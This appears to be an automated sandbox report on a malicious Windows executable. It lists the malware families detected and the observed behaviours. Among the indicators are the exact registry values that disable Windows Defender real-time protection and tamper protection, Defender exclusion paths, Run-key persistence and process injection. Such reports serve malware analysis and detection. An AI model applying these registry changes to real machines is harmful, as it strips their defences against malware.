Analysis Overview
SHA256
80e818d5697a79173104ce849679df30a075d2afe4f07c9e6c833f23daf5ac71
Threat Level: Known bad
The file file.exe was found to be: Known bad.
Malicious Activity Summary
Windows security bypass
SectopRAT payload
Detect Mystic stealer payload
Suspicious use of NtCreateUserProcessOtherParentProcess
SectopRAT
Healer
Detected google phishing page
Amadey
RedLine
Modifies Windows Defender Real-time Protection settings
Detects Healer an antivirus disabler dropper
RedLine payload
Mystic
Glupteba
DcRat
Glupteba payload
SmokeLoader
Modifies boot configuration data using bcdedit
Downloads MZ/PE file
Drops file in Drivers directory
Blocklisted process makes network request
Modifies Windows Firewall
Possible attempt to disable PatchGuard
Stops running service(s)
Checks computer location settings
Loads dropped DLL
Reads user/profile data of web browsers
Executes dropped EXE
Windows security modification
Checks installed software on the system
Accesses cryptocurrency files/wallets, possible credential harvesting
Manipulates WinMon driver.
Manipulates WinMonFS driver.
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Suspicious use of SetThreadContext
Drops file in System32 directory
Drops file in Program Files directory
Launches sc.exe
Checks for VirtualBox DLLs, possible anti-VM trick
Drops file in Windows directory
Enumerates physical storage devices
Program crash
Unsigned PE
Suspicious use of SendNotifyMessage
Enumerates system info in registry
Suspicious behavior: LoadsDriver
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Creates scheduled task(s)
Suspicious use of UnmapMainImage
Suspicious behavior: MapViewOfSection
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Modifies system certificate store
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Suspicious behavior: GetForegroundWindowSpam
Modifies data under HKEY_USERS
Checks SCSI registry key(s)
Modifies Internet Explorer settings
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-10-10 20:21
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2023-10-10 20:21
Reported
2023-10-10 20:28
Platform
win7-20230831-en
Max time kernel
150s
Max time network
153s
Command Line
Signatures
Amadey
DcRat
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\file.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Detected google phishing page
Detects Healer an antivirus disabler dropper
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Glupteba
Glupteba payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Healer
Modifies Windows Defender Real-time Protection settings
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SmokeLoader
Suspicious use of NtCreateUserProcessOtherParentProcess
Windows security bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Downloads MZ/PE file
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\latestX.exe | N/A |
| File created | C:\Windows\system32\drivers\Winmon.sys | C:\Windows\rss\csrss.exe | N/A |
| File created | C:\Windows\System32\drivers\etc\hosts | C:\Program Files\Google\Chrome\updater.exe | N/A |
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Possible attempt to disable PatchGuard
Stops running service(s)
Executes dropped EXE
Loads dropped DLL
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features | C:\Users\Admin\AppData\Local\Temp\8D65.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Windows\rss\csrss.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2035040.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Vg7CY8Fv.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup6 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP006.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\KI6yN2Co.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Bb7ie3oC.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\file.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\85A4.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\TC8GG4oS.exe | N/A |
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Manipulates WinMon driver.
| Description | Indicator | Process | Target |
| File opened for modification | \??\WinMon | C:\Windows\rss\csrss.exe | N/A |
Manipulates WinMonFS driver.
| Description | Indicator | Process | Target |
| File opened for modification | \??\WinMonFS | C:\Windows\rss\csrss.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2804 set thread context of 2808 | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2556104.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
| PID 1252 set thread context of 1220 | N/A | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe |
| PID 2288 set thread context of 2308 | N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
| PID 2984 set thread context of 2712 | N/A | C:\Program Files\Google\Chrome\updater.exe | C:\Windows\System32\conhost.exe |
| PID 2984 set thread context of 2588 | N/A | C:\Program Files\Google\Chrome\updater.exe | C:\Windows\explorer.exe |
Checks for VirtualBox DLLs, possible anti-VM trick
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files\Google\Chrome\updater.exe | C:\Users\Admin\AppData\Local\Temp\latestX.exe | N/A |
| File created | C:\Program Files\Google\Libs\WR64.sys | C:\Program Files\Google\Chrome\updater.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\rss | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| File created | C:\Windows\rss\csrss.exe | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| File created | C:\Windows\Logs\CBS\CbsPersist_20231010202704.cab | C:\Windows\system32\makecab.exe | N/A |
| File created | C:\Windows\windefender.exe | C:\Windows\rss\csrss.exe | N/A |
| File opened for modification | C:\Windows\windefender.exe | C:\Windows\rss\csrss.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
Enumerates physical storage devices
Program crash
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Zoom | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{558A1F81-67AB-11EE-B333-7AA063A69366} = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\InternetRegistry | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f908080c5c8cf442941c5db076e34ac20000000002000000000010660000000100002000000089f363f1004f55de63a5eb3515af1726bffa3791587e58a56ecd8b318b3125d5000000000e8000000002000020000000e08b374aa20a56fb81a5973ffd32ec5b7aa56f1390af7f52e27849ac454898e620000000651a6ad970b4caa8bc0c5d1529f9c852316e1ac64ab39f0c9e9a79e1ec87ff234000000055bd6f6982908a57bd86e0658cc315ce340ccd50dfd6a1e4d157c427876f70045290199930c7337b27b7503d9a3d8dedfc451fedadf4e1f411b98ab78680eb94 | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\PageSetup | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\DomainSuggestion | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\IntelliForms | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\GPU | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{55BA5741-67AB-11EE-B333-7AA063A69366} = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\PageSetup | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Zoom | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20e46b2db8fbd901 | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
